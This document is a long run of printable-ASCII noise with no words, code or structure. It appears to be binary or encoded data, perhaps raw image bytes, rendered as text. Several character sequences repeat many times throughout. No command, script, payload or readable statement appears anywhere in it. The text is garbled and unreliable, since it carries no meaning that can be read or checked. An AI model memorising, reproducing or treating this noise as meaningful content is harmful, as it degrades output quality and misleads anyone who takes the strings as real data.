8%=#AEK#X8$V;0=>(1D/L6X1Ib@MpJH}NBP;P9MJx=jha:PVMc|nVQRLJLWdfvjmiCKm&F$.C$.9,56,'.-4+>*<) 9% 8%=#AEK#X8$V;0=>(1D/L6X1Ib@MpJH}NBP;P9MJx=jha:PVMc|nVQRLJLWdfvjmiCKm&F$.C$.9,56,'.-4+>*<) 9% 8%=#AEK#X8$V;0=>(1D/L6X1Ib@MpJH}NBP;P9MJx=jha:PVMc|nVQRLJLWd"FU9e*G@X;R=DDR7`245)B[wI>/(,P~=ma_;HUZikrm}cy^^VNFLXeiyhY].E%)P&0<,:3)'?(O!S#QLKR`%a+'U<.R=+F@*:>%/G#L:U,Jg/(,P~=ma_;HUZikrm}cy^^VNFLXeiyhY].E%)P&0<,:3)'?(O!S#QLKR`%a+'U<.R=+F@*:>%/G#L:U,Jg/(,P~=ma_;HUZikrm}cy^^VNFLXeiyhY].E%)P&0<,:3)'?(O!S#QLKR`%a+'U<.R=+F@*:>%/G#L:U,Jg/(,P~=ma_;HUZikrm}cy^^VNFLXeiyhY].E%)P&0<,:3)'?(O!S#QLKR`%a+'U<.R=+F@*:>%/G#L:U,Jg/(,P~=ma_;HUZikrm}cy^^VNFLXeiyhY].E%)P&0<,:3)'?(O!S#QLKR`%a+'U<.R=+F@*:>%/G#L:U,Jg/(,P~=ma_;HUZikrm}cy^^VNFLXeiyhY].E%)P&0<,:3)'?(O!S#QLKR`%a+'U<.R=+F@*:>%/G#L:U,Jg/(,P~=ma_;HUZikrm}cy^^VNFLXeiyhY].E%)P&0<,:3)'?(O!S#QLKR`%a+'U<.R=+F@*:>%/G#L:U,Jg/(,P~=ma_;HUZikrm}cy^^VNFLXeiyhY].E%)P&0<,:3)'?(O!S#QLKR`%a+'U<.R=+F@*:>%/G#L:U,Jg/(,P~=ma_;HUZikrm}cy^^VNFLXeiyhY].E%)P&0<,:3)'?(O!S#QLKR`%a+'U<.R=+F@*:>%/G#L:U,Jg/(,P~=ma_;HUZikrm}cy^^VNFLXeiyhY].E%)P&0<,:3)'?(O!S#QLKR`%a+'U<.R=+F@*:>%/G#L:U,Jg/(,P~=ma_;HUZikrm}cy^^VNFLXeiyhY].E%)P&0<,:3)'?(O!S#QLKR`%a+'U<.R=+F@*:>%/G#L:U,Jg/(,P~=ma_;HUZikrm}cy^^VNFLXeiyhY].E%)P&0<,:3)'?(O!S#QLKR`%a+'U<.R=+F@*:>%/G#L:U,Jg/(,P~=ma_;HUZikrm}cy^^VNF]Bf(K{9X;W8GCIEQ>]1.4(4IDO1**SzBdZdKPzjcbiolzm{|mynvpwoxkzZQSkmtg@Gm!-L#2D%:9'4I%NSO'a"7o-At,6o!0e53`=._=+R?&=C#/P+Q5R:X;^Ca#Cb"B_B]Bf(K{9X;W8GCIEQ>]1.4(4IDO1**SzBdZdKPzjcbiolzm{|mynvpwoxkzZQSkmtg@Gm!-L#2D%:9'4I%NSO'a"7o-At,6o!0e53`=._=+R?&=C#/P+Q5R:X;^Ca#Cb"B_B]Bf(K{9X;W8GCIEQ>]1.4(4IDO1**SzBdZdKPzjcbiolzm{|mynvpwoxkzZQSkmtg@Gm!-L#2D%:9'4I%NSO'a"7o-At,6o!0e53`=._=+R?&=C#/P+Q5R:X;^Ca#Cb"B_B]Bf(K{9X;W8GCIEQ>]1.4(4IDO1**SzBdZdKPzjcbiolzm{|mynvpwoxkzZQSkmtg@Gm!-L#2D%:9'4I%NSO'a"7o-At,6o!0e53`=._=+R?&=C#/P+Q5R:X;^Ca#Cb"B_B]Bf(K{9X;W8GCIEQ>]1.4(4IDO1**SzBdZdKPzjcbiolzm{|mynvpwoxkzZQSkmtg@Gm!-L#2D%:9'4I%NSO'a"7o-At,6o!0e53`=._=+R?&=C#/P+Q5R:X;^Ca#Cb"B_B]Bf(K{9X;W8GCIEQ>]1.4(4IDO1**SzBdZdKPzjcbiolzm{|mynvpwoxkzZQSkmtg@Gm!-L#2D%:9'4I%NSO'a"7o-At,6o!0e53`=._=+R?&=C#/P+Q5R:X;^Ca#Cb"B_B]Bf(K{9X;W8GCIEQ>]1.4(4IDO1**SzBdZdKPzjcbiolzm{|mynvpwoxkzZQSkmtg@Gm!-L#2D%:9'4I%NSO'a"7o-At,6o!0e53`=._=+R?&=C#/P+Q5R:X;^Ca#Cb"B_B]Bf(K{9X;W8GCIEQ>]1.4(4IDO1**SzBdZdKPzjcbiolzm{|mynvpwoxkzZQSkmtg@Gm!-L#2D%:9'4I%NSO'a"7o-At,6o!0e53`=._=+R?&=C#/P+Q5R:X;^Ca#Cb"B_B]Bf(K{9X;W8GCIEQ>]1.4(4IDO1**SzBdZdKPzjcbiolzm{|mynvpwoxkzZQSkmtg@Gm!-L#2D%:9'4I%NSO'a"7o-At,6o!0e53`=._=+R?&=C#/P+Q5R:X;^Ca#Cb"B_B]Bf(K{9X;W8GCIEQ>]1.4(4IDO1**SzBdZdKPzjcbiolzm{|mynvpwoxkzZQSkmtg@Gm!-L#2D%:9'4I%NSO'a"7o-At,6o!0e53`=._=+R?&=C#/P+Q5R:X;^Ca#Cb"B_B]Bf(K{9X;W8GCIEQ>]1.4(4IDO1**SzBdZdKPzjcbiolzm{|mynvpwoxkzZQSkmtg@Gm!-L#2D%:9'4I%NSO'a"7o-At,6o!0e53`=._=+R?&=C#/P+Q5R:X;^Ca#Cb"B_B]Bf(K{9X;W8GCIEQ>]1.4(4IDO1**SzBdZdKPzjcbiolzm{|mynvpwoxkzZQSkmtg@Gm!-L#2D%:9'4I%NSO'a"7o-At,6o!0e53`=._=+R?&=C#/P+Q5R:X;^Ca#Cb"B_B]Bf(K{9X;W8GCIEQ>]1.4(4IDO1**SzBdZdKPzjcbiolzm{|mynvpwoxkzjB9fD.f<'S@;K-\":~2Q>`CeEeF`G`>\jB9fD.f<'S@;K-\":~2Q>`CeEeF`G`>\jB9fD.f<'S@;K-\":~2Q>`CeEeF`G`>\jB9fD.f<'S@;K-\":~2Q>`CeEeF`G`>\jB9fD.f<'S@;K-\":~2Q>`CeEeF`G`>\jB9fD.f<'S@;K-\":~2Q>`CeEeF`G`>\jB9fD.f<'S@;K-\":~2Q>`CeEeF`G`>\jB9fD.f<'S@;K-\":~2Q>`CeEeF`G`>\jB9fD.f<'S@;K-\":~2Q>`CeEeF`G`>\jB9fD.f<'S@;K-\":~2Q>`CeEeF`G`>\jB9fD.f<'S@;K-\":~2Q>`CeEeF`G`>\jB9fD.f<'S@;K-\":~2Q>`CeEeF`G`>\^G`B`<`8a,bBl!/VsC?hX1_`'R6]GfF\{^hwx}t~pyudsR]GTRiZuXoTiDZ;a3s2(()(&%'*4~Q}]rVl%^G`B`<`8a,bBl!/VsC?hX1_`'R6]GfF\{^hwx}t~pyudsR]GTRiZuXoTiDZ;a3s2(()(&%'*4~Q}]rVl%^G`B`<`8a,bBl!/VsC?hX1_`'R6]GfF\{^hwx}t~pyudsR]GTRiZuXoTiDZ;a3s2(()(&%'*4~Q}]rVl%^G`B`<`8a,bBl!/VsC?hX1_`'R6]GfF\{^hwx}t~pyudsR]GTRiZuXoTiDZ;a3s2(()(&%'*4~Q}]rVl%^G`B`<`8a,bBl!/VsC?hX1_`'R6]GfF\{^hwx}t~pyudsR]GTRiZuXoTiDZ;a3s2(()(&%'*4~Q}]rVl%^G`B`<`8a,bBl!/VsC?hX1_`'R6]GfF\{^hwx}t~pyudsR]GTRiZuXoTiDZ;a3s2(()(&%'*4~Q}]rVl%^G`B`<`8a,bBl!/VsC?hX1_`'R6]GfF\{^hwx}t~pyudsR]GTRiZuXoTiDZ;a3s2(()(&%'*4~Q}]rVl%^G`B`<`8a,bBl!/VsC?hX1_`'R6]GfF\{^hwx}t~pyudsR]GTRiZuXoTiDZ;a3s2(()(&%'*4~Q}]rVl%^G`B`<`8a,bBl!/VsC?hX1_`'R6]GfF\{^hwx}t~pyudsR]GTRiZuXoTiDZ;a3s2(()(&%'*4~Q}]rVl%^G`B`<`8a,bBl!/VsC?hX1_`'R6]GfF\{^hwx}t~pyudsR]GTRiZuXoTiDZ;a3s2(()(&%'*4~Q}]rVl%^G`B`<`8a,bBl!/VsC?hX1_`'R6]GfF\{^hwx}t~pyudsR]GTRiZuXoTiDZ;a3s2(()(&%'*4~Q}]rVl%^G`B`<`8a,bBl!/VsC?hX1_`'R6]GfF\{^hwx}t~pyudsR]GTRiZuXoTiDZ;a3s2(()(&%'*4~Q}]rVl%\7[5eVr~$4RtZ=ci2W:_E^Odco}tx{xyysvwqxtv}{y}{{vm|XbNc^yVoKeBc8l;9~;~BF}G~J|JyHzE|Ny[{VtRk \7[5eVr~$4RtZ=ci2W:_E^Odco}tx{xyysvwqxtv}{y}{{vm|XbNc^yVoKeBc8l;9~;~BF}G~J|JyHzE|Ny[{VtRk \7[5eVr~$4RtZ=ci2W:_E^Odco}tx{xyysvwqxtv}{y}{{vm|XbNc^yVoKeBc8l;9~;~BF}G~J|JyHzE|Ny[{VtRk \7[5eVr~$4RtZ=ci2W:_E^Odco}tx{xyysvwqxtv}{y}{{vm|XbNc^yVoKeBc8l;9~;~BF}G~J|JyHzE|Ny[{VtRk \7[5eVr~$4RtZ=ci2W:_E^Odco}tx{xyysvwqxtv}{y}{{vm|XbNc^yVoKeBc8l;9~;~BF}G~J|JyHzE|Ny[{VtRk \7[5eVr~$4RtZ=ci2W:_E^Odco}tx{xyysvwqxtv}{y}{{vm|XbNc^yVoKeBc8l;9~;~BF}G~J|JyHzE|Ny[{VtRk \7[5eVr~$4RtZ=ci2W:_E^Odco}tx{xyysvwqxtv}{y}{{vm|XbNc^yVoKeBc8l;9~;~BF}G~J|JyHzE|Ny[{VtRk \7[5eVr~$4RtZ=ci2W:_E^Odco}tx{xyysvwqxtv}{y}{{vm|XbNc^yVoKeBc8l;9~;~BF}G~J|JyHzE|Ny[{VtRk \7[5eVr~$4RtZ=ci2W:_E^Odco}tx{xyysvwqxtv}{y}{{vm|XbNc^yVoKeBc8l;9~;~BF}G~J|JyHzE|Ny[{VtRk \7[5eVr~$4RtZ=ci2W:_E^Odco}tx{xyysvwqxtv}{y}{{vm|XbNc^yVoKeBc8l;9~;~BF}G~J|JyHzE|Ny[{VtRk \7[5eVr~$4RtZ=ci2W:_E^Odco}tx{xyysvwqxtv}{y}{{vm|XbNc^yVoKeBc8l;9~;~BF}G~J|JyHzE|Ny[{VtRk \7[5eVr~$4RtZ=ci2W:_E^Odco}tx{xyysvwqxtv}{y}{{vm|XbNc^yVoKeBc8l;9~;~BF}G~J|JyHzE|Ny[{VtRk ]Lb=dly"~=SwV;b5X=[?_qDieGiaGgiGjeHkoDgpEftXsml{itz{w}kqTf\wPkFe9q5vCxEyBm?a@\@^D[E^GjLtTuUxP|Qf$DW NIKM^tdWcc>]Lb=dly"~=SwV;b5X=[?_qDieGiaGgiGjeHkoDgpEftXsml{itz{w}kqTf\wPkFe9q5vCxEyBm?a@\@^D[E^GjLtTuUxP|Qf$DW NIKM^tdWcc>]Lb=dly"~=SwV;b5X=[?_qDieGiaGgiGjeHkoDgpEftXsml{itz{w}kqTf\wPkFe9q5vCxEyBm?a@\@^D[E^GjLtTuUxP|Qf$DW NIKM^tdWcc>]Lb=dly"~=SwV;b5X=[?_qDieGiaGgiGjeHkoDgpEftXsml{itz{w}kqTf\wPkFe9q5vCxEyBm?a@\@^D[E^GjLtTuUxP|Qf$DW NIKM^tdWcc>]Lb=dly"~=SwV;b5X=[?_qDieGiaGgiGjeHkoDgpEftXsml{itz{w}kqTf\wPkFe9q5vCxEyBm?a@\@^D[E^GjLtTuUxP|Qf$DW NIKM^tdWcc>]Lb=dly"~=SwV;b5X=[?_qDieGiaGgiGjeHkoDgpEftXsml{itz{w}kqTf\wPkFe9q5vCxEyBm?a@\@^D[E^GjLtTuUxP|Qf$DW NIKM^tdWcc>]Lb=dly"~=SwV;b5X=[?_qDieGiaGgiGjeHkoDgpEftXsml{itz{w}kqTf\wPkFe9q5vCxEyBm?a@\@^D[E^GjLtTuUxP|Qf$DW NIKM^tdWcc>]Lb=dly"~=SwV;b5X=[?_qDieGiaGgiGjeHkoDgpEftXsml{itz{w}kqTf\wPkFe9q5vCxEyBm?a@\@^D[E^GjLtTuUxP|Qf$DW NIKM^tdWcc>]Lb=dly"~=SwV;b5X=[?_qDieGiaGgiGjeHkoDgpEftXsml{itz{w}kqTf\wPkFe9q5vCxEyBm?a@\@^D[E^GjLtTuUxP|Qf$DW NIKM^tdWcc>]Lb=dly"~=SwV;b5X=[?_qDieGiaGgiGjeHkoDgpEftXsml{itz{w}kqTf\wPkFe9q5vCxEyBm?a@\@^D[E^GjLtTuUxP|Qf$DW NIKM^tdWcc>]Lb=dly"~=SwV;b5X=[?_qDieGiaGgiGjeHkoDgpEftXsml{itz{w}kqTf\wPkFe9q5vCxEyBm?a@\@^D[E^GjLtTuUxP|Qf$DW NIKM^tdWcc>]Lb=dly"~=SwV;b5X=[?_qDieGiaGgiGjeHkoDgpEftXsml{itz{w}kqTf\wPkFe9q5vCxEyBm?a@\@^D[E^GjLtTuUxP|Qf$DW NIKM^tdWcc>]L(@%A$$A&9*=-A.A+>(>'= )>(B'A (A )> )>(>'<&<-'8,&9&&9!';(<(>'>(>'>(A(B'D)G*H*K)K(0A%2C"3D2D/C0F&3J+6O&9%9&7&5(5-6082:-?.> 1>3>#3@)5A"6>6<#&<'<(< *<-=.> /@1A8E7E6D 1B+@ )A)C*G0E,A(>&<'>)@)A)A&Eiv6e{fGj_QpA^ww~iW\n{~orio`bkqzbk_tGjIuIw=c=XJ`RpOsPvV{SvGZLIPC_Ol_miY]EPP[gY`<'>'<(;(:(9 %; %< '= )> +@ ,A .C /D46&GI9Z_:Zb)HR5B->/? 1617.9+9);(= &> '>$D&A)<-8.8.9-<->&3175IGKb\Nhc9VV @I3A/>-<*9)8+9+:+9)8+> +> *<(;(9(8'6'6%4%6&7&9%<%> &? &@ &9 %9&:'<(<)< (;'9 ););(;(:'9'9'9&9 &6'8'8&9 %9 $9 #9 "8 *8 *8)8)8'9`<wX3esbj~hbTOF"UP"UTjR#|dHilu9awpLqMg{VtsRp={iQub[xeaw[r{_rqy|wr~`j`vGjOrJrwX3esbj~hbTOF"UP"UTjR#|dHilu9awpLqMg{VtsRp={iQub[xeaw[r{_rqy|wr~`j`vGjOrJrwX3esbj~hbTOF"UP"UTjR#|dHilu9awpLqMg{VtsRp={iQub[xeaw[r{_rqy|wr~`j`vGjOrJr-> -=.;.;-;*;)<'>&A%A'@+C,D+D(A '@ )A +C#?%A (A '? (=&=&='<&(9$':"(<';'>'>'@'A%>%=%>&@&A&B'C'C",;#.> /@.@+?+A.D0I(:'9'9*8/;6@">E%AH2=2= 4<5>$7>,5=%5;68);(;(: *: ,; /> 2A4C:F8E3C.@ *@'A'C(F0D,@(='<'=(?)@(?&Alu9awpLqMg{VtsRp={iQub[xeaw[r{_rqy|wr~`j`vGjOrJrwX3esbj~hbTOF"UP"UTjR#|dHilu9awpLqMg{VtsRp={iQub[xeaw[r{_rqy|wr~`j`vGjOrJrwX3esbj~hbTOF"UP"UTjR#|dHilu9awpLqMg{VtsRp={iQub[xeaw[r{_rqy|wr~`j`vGjOrJrwX3esbj~hbTOF"UP"UTjR#|dHilu9awpLqMg{VtsRp'A'?(=(<(;(;(: '7 '8 )9 +; -=/?0@1A94'IE6XV6WX)HL8>190; 4133/5,9(=%@ $B#D$D'A*<.8/809/=.? *155&GB/RL&KI7?'<$?/=.<-;,:,:,:+9+9*? +>)>'<';&9'8'7'5&6&7&9&; &> &? %@ %9&:(<+?,@+? )<'9):):':':&:&:&;%;'6(9):)<(<'< $; #:(9 '9 (:':(;}MF|F@@<@>wX3esbj~hbTOF"UP"UTjR#|dHilu9awpLqMg{VtsRp={iQub[xeaw[r{_rqy|wr~`j`vGjOrJrwX3esbj~hbTOF"UP"UTjR#|dHilu9awpLqMg{VtsRp={iQub[xeaw[r{_rqy|wr~`j`vGjOrJrwX3esbj~hbTOF"UP"UTjR#|dHilu9awpLqMg{VtsRp={iQub[xeaw[r{_rqy|wr~`j`vGjOrJrn~djftNoNnMt@g>`HdHkAl?lAhCxWRjPL[IbNo`v[wZzU|I}FqSn[uTwTyNE:1N5]qh~hmi VJSKUNiY'fMigo.icNsJk|ToxL+z#w(g'exkoZhzMo~akqoto~n~djftNoNnMt@g>`HdHkAl?lAhCxWRjPL[IbNo`v[wZzU|I}FqSn[uTwTyNE:1N5]qh~hmi VJSKUNiY'fMigo.icNsJk|ToxL+z#w(g'exkoZhzMo~akqoto~n~djftNoNnMt@g>`HdHkAl?lAhCxWRjPL[IbNo`v[wZzU|I}FqSn[uTwTyNE:1N5]qh~hmi VJSKUNiY'fMigo.icNsJk|ToxL+z#w(g'exkoZhzMo~akqoto~n~djftNoNnMt@g>`Hd48463P1M.H+B*>+>.=.<-:-:,: *; *<(?(B)D!,E+C*A(@ (@ )A*B+C ="@ &@ '@&= %;%>'?(;(;(<'>'?&@&A 'A$>$>%=&>%=&=&>&=0;0=1@.@*='= '@ )C);(;(9*80;8@">F&CJ2>4= 5<5<"5;*4:!2622,<*:)8)8 +9 /=3A7C7C4A0@,?)@*D*F)G.C+@ (=(=(=)?(?'>'=go.icNsJk|ToxL+z#w(g'exkoZhzMo~akqoto~n~djftNoNnMt@g>`HdHkAl?lAhCxWRjPL[IbNo`v[wZzU|I}FqSn[uTwTyNE:1N5]qh~hmi VJSKUNiY'fMigo.icNsJk|ToxL+z#w(g'exkoZhzMo~akqoto~n~djftNoNnMt@g>`HdHkAl?lAhCxWRjPL[IbNo`v[wZzU|I}FqSn[uTwTyNE:1N5]qh~hmi VJSKUNiY'fMigo.icNsJk|ToxL+z#w(g'exkoZhzMo~akqoto~n~djftNoNnMt@g>`HdHkAl?lAhCxWRjPL[IbNo`v[wZzU|I}FqSn[uTwTyNE:1N5]qh~hmi VJSKUNiY'fMigo.icNsJk|ToxL+z(A(@(>(=(;(;(:'5 (6 *8 ,:-</=1?1@94 @<&GD%DF%@$B"C$C&@*;.8081:0= /@169:B?D@9;*7$= 'J/<0=0=0=.;-:-:-:+A *@(?'>&<&;'9(9'5'6'7':'< &> &?&@&:';+?-B/C-A+= (;)8(8'9';&;&<$= $=)8*;-=-@-@+@'=%;'; '; &;'<&<}FqSn[uTwTyNE:1N5]qh~hmi VJSKUNiY'fMigo.icNsJk|ToxL+z#w(g'exkoZhzMo~akqoto~n~djftNoNnMt@g>`HdHkAl?lAhCxWRjPL[IbNo`v[wZzU|I}FqSn[uTwTyNE:1N5]qh~hmi VJSKUNiY'fMigo.icNsJk|ToxL+z#w(g'exkoZhzMo~akqoto~n~djftNoNnMt@g>`HdHkAl?lAhCxWRjPL[IbNo`v[wZzU|I}FqSn[uTwTyNE:1N5]qh~hmi VJSKUNiY'fMigo.icNsJk|ToxL+z#w(g'exkoZhzMo~akqoto~n~djftNoNnMt@g>`HdHkAl?lAhCxWRjPL[IbNo`v[wZzU|I}FqSn[uTwTyNE:o~muiu\wHnEsErBi>b;b;h>o?g?ySWwOK]J^Hn]xO}<8wBt[g[h\kSnQmRrO{M@IL|gue mf\N!SOQR!nY*emfVu pAVnPYp>ywd9'^bQmhkyl]kX{cz~jwlzjyo~muiu\wHnEsErBi>b;b;h>o?g?ySWwOK]J^Hn]xO}<8wBt[g[h\kSnQmRrO{M@IL|gue mf\N!SOQR!nY*emfVu pAVnPYp>ywd9'^bQmhkyl]kX{cz~jwlzjyo~muiu\wHnEsErBi>b;b;h>o?g?ySWwOK]J^Hn]xO}<8wBt[g[h\kSnQmRrO{M@IL|gue mf\N!SOQR!nY*emfVu pAVnPYp>ywd9'^bQmhkyl]kX{cz~jwlzjyo~muiu\wHnEsErBi>b4:582I0G-D*A )? *>+>,=,9,9+9 *; *=+A-F.H/B*=(;,?3E4G-@&9"@%D)E )B&> $=%?'@*<)=(>'?'A'B&B &C%A&@'@'>'=););):3;5> 4A!0B+?&@%@ &C*<*;):*8-8094:6=0?2=3<3< 3;$1804.0 2=.;*8)7*7.; 4? 8C 5@ 1>-=)=)A *E*G*H -A +? (< (<)>)?(>'='8Mh pAVnPYp>ywd9'^bQmhkyl]kX{cz~jwlzjyo~muiu\wHnEsErBi>b;b;h>o?g?ySWwOK]J^Hn]xO}<8wBt[g[h\kSnQmRrO{M@IL|gue mf\N!SOQR!nY*emfVu pAVnPYp>ywd9'^bQmhkyl]kX{cz~jwlzjyo~muiu\wHnEsErBi>b;b;h>o?g?ySWwOK]J^Hn]xO}<8wBt[g[h\kSnQmRrO{M@IL|gue mf\N!SOQR!nY*emfVu pAVnPYp>ywd9'^bQmhkyl]kX{cz~jwlzjyo~muiu\wHnEsErBi>b;b;h>o?g?ySWwOK]J^Hn]xO}<8wBt[g[h\kSnQmRrO{M@IL|gue mf\N!SOQR!nY*emfVu pAVnPYp>yw[t(B(@(?(=)<(;(;(9 ): *;+=->-@/A0B44464718/8-9-;,; 0507 -:)*<()=&>%>%<$C'?*;-8082; 1> 0@ ,<1;7;99 27)8 'A*K 0; 2=3?3? 0< /; /: 0;,B +A'A&?"%=&<';(;'5'6'8':'< &> '?'@&;'<*? -B .C-B*>(;(7(7'9&:%< $= #? "@*:-=0@1C0C-B(?&< %< %= %= %=%>t[g[h\kSnQmRrO{M@IL|gue mf\N!SOQR!nY*emfVu pAVnPYp>ywd9'^bQmhkyl]kX{cz~jwlzjyo~muiu\wHnEsErBi>b;b;h>o?g?ySWwOK]J^Hn]xO}<8wBt[g[h\kSnQmRrO{M@IL|gue mf\N!SOQR!nY*emfVu pAVnPYp>ywd9'^bQmhkyl]kX{cz~jwlzjyo~muiu\wHnEsErBi>b;b;h>o?g?ySWwOK]J^Hn]xO}<8wBt[g[h\kSnQmRrO{M@IL|gue mf\N!SOQR!nY*emfVu pAVnPYp>ywd9'^bQmhkyl]kX{cz~jwlzjyo~muiu\wHnEsErBi>b;b;h>o?g?ySWwOK]J^Hn]xO}<8wBt[g[h\kSnQmRrO{M/Mjg}fW{HuBoHoJrJsDo>kHrC{XTrSLaK]Fm[qU{?{7xIrWyXY{SpTiUeOnS}M|bEj lbd_ XK!OQVU%yV"i"zQk[v,q1]rGgvGyO}E}'l^jSfl{kifXqVshrhyfzh~jg}fW{HuBoHoJrJsDo>kHrC{XTrSLaK]Fm[qU{?{7xIrWyXY{SpTiUeOnS}M|bEj lbd_ XK!OQVU%yV"i"zQk[v,q1]rGgvGyO}E}'l^jSfl{kifXqVshrhyfzh~jg}fW{HuBoHoJrJsDo>kHrC{XTrSLaK]Fm[qU{?{7xIrWyXY{SpTiUeOnS}M|bEj lbd_ XK!OQVU%yV"i"zQk[v,q1]rGgvGyO}E}'l^jSfl{kifXqVshrhyfzh~jg}fW{HuBoHo/:3<4:0@/@-?"*?$(?#(?*?)>!*7*7*8 *; ->/D2J4N6B2>5@%CP0Q^,P]=J)6)J-L0N-I 'B $=%>'B*=*?*?(@'B'C&D&D%A&@'?'=(;(:)7)515292=#0@")A%A$B%D*<*<+;,9-8.70606$-@/>0=2=2<1:05/1 7@ 2<-8(4)5-8 4= 8@ 8B 2?+<' (< (<)>*?'=&<(5*7[v,q1]rGgvGyO}E}'l^jSfl{kifXqVshrhyfzh~jg}fW{HuBoHoJrJsDo>kHrC{XTrSLaK]Fm[qU{?{7xIrWyXY{SpTiUeOnS}M|bEj lbd_ XK!OQVU%yV"i"zQk[v,q1]rGgvGyO}E}'l^jSfl{kifXqVshrhyfzh~jg}fW{HuBoHoJrJsDo>kHrC{XTrSLaK]Fm[qU{?{7xIrWyXY{SpTiUeOnS}M|bEj lbd_ XK!OQVU%yV"i"zQk[v,q1]rGgvGyO}E}'l^jSfl{kifXqVshrhyfzh~jg}fW{HuBoHoJrJsDo>kHrC{XTrSLaK]Fm[qU{?{7xIrWyXY{SpTiUeOnS}M|bEj lbd_ XK!OQVU%yV"i"zQk[v,q1]rGgvGyO}(B(B(@(?)=)<)<);)> )> *?*@*A+B,C,C.6-7,7*9*;*=(>'? ,<+<%*>.)?-)=#):)7(5$B&?*;/8 08 2; 2? 1A$A &< *8 .6 .4 *7&<%B/; 2>5A 5@ 1</;/; 0<-C *C'A#%?'%>!%=';';'5'7(7': '< '?'?'@%9&;'=*?+@*?)<':(5'7'9&:$= #? "B!B)8,=0@2D0D-C(?%;$< %= $= %> %>$6yXY{SpTiUeOnS}M|bEj lbd_ XK!OQVU%yV"i"zQk[v,q1]rGgvGyO}E}'l^jSfl{kifXqVshrhyfzh~jg}fW{HuBoHoJrJsDo>kHrC{XTrSLaK]Fm[qU{?{7xIrWyXY{SpTiUeOnS}M|bEj lbd_ XK!OQVU%yV"i"zQk[v,q1]rGgvGyO}E}'l^jSfl{kifXqVshrhyfzh~jg}fW{HuBoHoJrJsDo>kHrC{XTrSLaK]Fm[qU{?{7xIrWyXY{SpTiUeOnS}M|bEj lbd_ XK!OQVU%yV"i"zQk[v,q1]rGgvGyO}E}'l^jSfl{kifXqVshrhyfzh~jg}fW{HuBoHoJrJsDo>kHrC{XTrSLaK]Fm[qU{?{7xIrWyXY{SpTiUeO13:4Vcgjk^SzNqLrLqKpKrLyPbN^[QcJ^DmZpUwH{;=vUR}MwPz\jQiPkL~Q~zu[qYa[SRRIOT^P,_xPl Qw(n*t+kz)n{2q|#w~/pq^{db}rdZ\rTqcse{c{a{cgjk^SzNqLrLqKpKrLyPbN^[QcJ^DmZpUwH{;=vUR}MwPz\jQiPkL~Q~zu[qYa[SRRIOT^P,_xPl Qw(n*t+kz)n{2q|#w~/pq^{db}rdZ\rTqcse{c{a{cgjk^SzNqLrLqKpKrLyPbN^[QcJ^DmZpUwH{;=vUR}MwPz\jQiPkL~Q~zu[qYa[SRRIOT^P,_xPl Qw(n*t+kz)n{2q|#w~/pq^{db}rdZ\rTqcse{c{a{cgjk^SzNq0A2=3< /:.;,<%*?'(?$'@'@'A *7)6*7 *: -?1F5M8P&EK$CI)HQ>_gPs{Jox,QZ5=!1R!4T7T1M )C $=#>&@ *? *? *? )B 'B'C&D&E#?#?$<%:%7&4&2'1*0,1-7*;$%>""?!A"E *; +<.>0=2=4<3:3:(*@,?/?1?2?2<1704 :B 5>.9'4'4,7 2<8? ;E 4A,<'<#'@%'D&C$B ,? *> )< )=)>*?'<%;)4+6Pl Qw(n*t+kz)n{2q|#w~/pq^{db}rdZ\rTqcse{c{a{cgjk^SzNqLrLqKpKrLyPbN^[QcJ^DmZpUwH{;=vUR}MwPz\jQiPkL~Q~zu[qYa[SRRIOT^P,_xPl Qw(n*t+kz)n{2q|#w~/pq^{db}rdZ\rTqcse{c{a{cgjk^SzNqLrLqKpKrLyPbN^[QcJ^DmZpUwH{;=vUR}MwPz\jQiPkL~Q~zu[qYa[SRRIOT^P,_xPl Qw(n*t+kz)n{2q|#w~/pq^{db}rdZ\rTqcse{c{a{cgjk^SzNqLrLqKpKrLyPbN^[QcJ^DmZpUwH{;=vUR}MwPz\jQiPkL~Q~zu[qYa[SRRIOT^P,_xPl Qw(n*t+kz)n{(B'B(@(?)=(<(<); (B )B (B)C)D)E*E)E*9+:+<+?*A(B%A$B )B(B&)B2)@1)<#*7*2+0#B&?*;/8 19 2; 2? 2B&M%C &9 ,6.7,8':$;0: 3> 7B 6A2=0:0:1<-D *B'B%%A($?"%='<(;(5'7'7': (< '?'?&@#7#8%:&<'<(<': %8(4(5&8%; $= "@!B D'7*;/?1C0C,A'= #:#=#= $> $> %? %?R}MwPz\jQiPkL~Q~zu[qYa[SRRIOT^P,_xPl Qw(n*t+kz)n{2q|#w~/pq^{db}rdZ\rTqcse{c{a{cgjk^SzNqLrLqKpKrLyPbN^[QcJ^DmZpUwH{;=vUR}MwPz\jQiPkL~Q~zu[qYa[SRRIOT^P,_xPl Qw(n*t+kz)n{2q|#w~/pq^{db}rdZ\rTqcse{c{a{cgjk^SzNqLrLqKpKrLyPbN^[QcJ^DmZpUwH{;=vUR}MwPz\jQiPkL~Q~zu[qYa[SRRIOT^P,_xPl Qw(n*t+kz)n{2q|#w~/pq^{db}rdZ\rTqcse{c{a{cgjk^SzNqLrLqKpKrLyPbN^[QcJ^DmZpUwH{;=vUR}MwPz\jQiP'9I'Uvh~dbcb\TL~K{S~W_UpQSeUbHbDpUmYoWtL}CvFwKwPuRxWlMmOmNhf5dZUPUO[Q[VT#tR!l{(h{JnPt[ek~_r@ZZ_qeVi\o}qRX~}[~wwc{hzvh~dbcb\TL~K{S~W_UpQSeUbHbDpUmYoWtL}CvFwKwPuRxWlMmOmNhf5dZUPUO[Q[VT#tR!l{(h{JnPt[ek~_r@ZZ_qeVi\o}qRX~}[~wwc{hzvh~dbcb\TL~K{S~W_UpQSeUbHbDpUmYoWtL}CvFwKwPuRxWlMmOmNhf5dZUPUO[Q[VT#tR!l{(h{JnPt[ek~_r@ZZ_qeVi\o}qRX~}[~wwc{hzvh~dbcb\/D(L'"Q4;29 08 /7 -7-:-;-< )G&C%?'>-? 5B;D=D?L@HEXY}xoxg?XE!F2CT?U8U0R )L &E %> %9%9&?'G &L%J&E)? ,<*;):):(9&9&8&8%7 $:%:%:$;%<$<%<%<,B)715#<<#;>-;'C!-R*?->1>1<0>,A)D(I,D -E+D&=!5"3)81=7L 3H-C(= ':)8,7 /7&C&A(A,B1C2A /;+7-0 